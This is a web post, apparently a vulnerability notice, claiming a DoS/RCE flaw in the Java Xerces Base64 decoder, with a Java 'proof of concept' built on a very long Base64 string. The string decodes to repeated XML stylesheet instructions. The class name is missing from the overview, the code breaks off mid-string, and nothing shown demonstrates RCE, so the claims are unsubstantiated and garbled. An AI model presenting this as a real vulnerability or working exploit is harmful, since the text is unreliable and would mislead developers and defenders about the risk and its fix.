Java Xerces Base64 Vulnerability Causing DoS/RCE with POC

Vulnerability Overview This vulnerability exists in the class, which is part of the Xerces XML parser and handles Base64 encoding and decoding. Attackers can exploit this vulnerability by constructing malicious Base64-encoded data, potentially leading to a Denial of Service (DoS) or Remote Code Execution (RCE). Affected Scope Java applications using the Xerces XML parser Java applications processing Base64-encoded data Remediation Upgrade to the latest version of the Xerces XML parser Use alternative, secure Base64 encoding and decoding libraries Implement strict validation and filtering for input data POC Code ```java import com.sun.org.apache.xerces.internal.impl.dv.util.Base64; public class Base64PoC { public static void main(String[] args) { String maliciousBase64 = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1lbmNvZGluZyA9ICJ1dGYtOCI/Pz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxlLmNvbS9zdHlsZS5jc3MiPz48P3htbC1zdHlsZXNoZWV0IGhyZWY9Imh0dHA6Ly9leGFtcGxl

Goal Reached Thanks to every supporter — we hit 100%!

Java Xerces Base64 Vulnerability Causing DoS/RCE with POC

More from this source